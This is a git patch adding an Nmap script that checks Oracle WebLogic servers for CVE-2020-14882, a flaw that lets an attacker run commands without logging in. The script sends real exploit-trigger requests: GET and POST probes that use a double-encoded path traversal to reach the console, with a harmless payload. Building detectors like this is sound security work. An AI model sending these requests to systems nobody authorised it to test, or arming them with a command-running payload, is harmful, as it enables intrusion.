From 4a42f943219e688463239489f425578a6f22391c Mon Sep 17 00:00:00 2001
From: Daniel <daniel@codalabs.net>
Date: Tue, 3 Nov 2020 15:42:07 -0600
Subject: [PATCH] Create weblogic-cve-2020-14882.nse

Detects the unauthenticated RCE in the Console component of Oracle WebLogic Server (CVE-2020-14882).
---
 scripts/weblogic-cve-2020-14882.nse | 108 ++++++++++++++++++++++++++++
 1 file changed, 108 insertions(+)
 create mode 100644 scripts/weblogic-cve-2020-14882.nse

diff --git a/scripts/weblogic-cve-2020-14882.nse b/scripts/weblogic-cve-2020-14882.nse
new file mode 100644
index 000000000..024c94a11
--- /dev/null
+++ b/scripts/weblogic-cve-2020-14882.nse
@@ -0,0 +1,108 @@
+local string = require "string"
+local shortport = require "shortport"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local http = require "http"
+local vulns = require "vulns"
+local table = require "table"
+
+description = [[
+Detects the unauthenticated RCE in the Console component of Oracle WebLogic Server
+(CVE-2020-14882).
+]]
+author = "Daniel C. Marques ('0xc0da')"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"vuln", "intrusive"}
+---
+-- @usage
+-- nmap -p 7001 --script weblogic-cve-2020-14882  <ip>
+--
+-- @output
+-- PORT     STATE SERVICE
+-- 7001/tcp open  afs3-callback
+-- | weblogic-cve-2020-14882:
+-- |   VULNERABLE:
+-- |   Unauthenticated RCE in Console component of Oracle WebLogic Server
+-- |     State: VULNERABLE (Exploitable)
+-- |     IDs:  CVE:CVE-2020-14882
+-- |     Risk factor: High
+-- |       Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware
+-- |       (component: Console) allows unauthenticated remote command execution.
+-- |
+-- |     Disclosure date: 2020-10-29
+-- |     References:
+-- |       https://nvd.nist.gov/vuln/detail/CVE-2020-14882
+-- |       https://blog.rapid7.com/2020/10/29/oracle-weblogic-unauthenticated-complete-takeover-cve-2020-14882-what-you-need-to-know/
+-- |       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14882
+-- |_      https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf
+--
+portrule = function(host, port)
+-- Check from the weblogic-t3-info.nse script by Alessandro ZANN.
+  if type(port.version) == "table" and port.version.name_confidence > 3 and port.version.product ~= nil then
+    return string.find(port.version.product, "WebLogic", 1, true) and nmap.version_intensity() >= 7
+  end
+  return shortport.version_port_or_service({7001,7002,7003},"http")(host,port)
+end
+
+local function is_vulnerable_to_get(host, port)
+-- Triggers the vulnerability using a GET request as described in the original
+-- post: https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf
+  local result = false
+  local probe = "/console/images/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=java.lang.String('nmap')"
+  local request = http.get(host, port, probe)
+  if (request.status and request.status == 200) and string.match(request.body, "quicklinksrowout") then
+    result = true
+    stdnse.debug(1,"Vulnerability can be triggered using a GET request")
+  end
+  return result
+end
+
+local function is_vulnerable_to_post(host, port)
+-- Triggers the vulnerability using a POST request as described in
+-- https://twitter.com/jas502n/status/1321416053050667009
+  local result = false
+  local options = { header={} }
+  local path = "/console/images/%252e%252e%252fconsole.portal"
+  local probe = {}
+  probe['_nfpb'] = 'false'
+  probe['handle'] = 'java.lang.String(%27nmap%27)'
+  local request = http.post(host, port, path, options, nil, probe)
+  stdnse.debug(1,"Status: %s", request.status)
+  if request.status == 302 then
+    result = http.response_contains(request, "UnexpectedExceptionPage", true)
+    stdnse.debug(1,"Vulnerability can be triggered using a POST request")
+  end
+  return result
+end
+
+action = function(host, port)
+  local vuln_status = vulns.STATE.NOT_VULN
+  local vuln = {
+    title = "Unauthenticated RCE in Console component of Oracle WebLogic Server",
+    IDS = {CVE = 'CVE-2020-14882'},
+    risk_factor = "High",
+    description = [[
+Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware
+(component: Console) allows unauthenticated remote command execution.
+      ]],
+    references = {
+      'https://nvd.nist.gov/vuln/detail/CVE-2020-14882',
+      'https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf',
+      'https://blog.rapid7.com/2020/10/29/oracle-weblogic-unauthenticated-complete-takeover-cve-2020-14882-what-you-need-to-know/'
+      },
+    dates = {
+      disclosure = {year = '2020', month = '10', day = '29'},
+      }
+    }
+
+  local report = vulns.Report:new(SCRIPT_NAME, host, port)
+
+  if is_vulnerable_to_get(host, port) then
+    vuln.state = vulns.STATE.EXPLOIT
+    vuln.exploit_results = {"Exploited using the GET method"}
+  elseif is_vulnerable_to_post(host, port) then
+    vuln.state = vulns.STATE.EXPLOIT
+    vuln.exploit_results = {"Exploited using the POST method"}
+  end
+  return report:make_output(vuln)
+end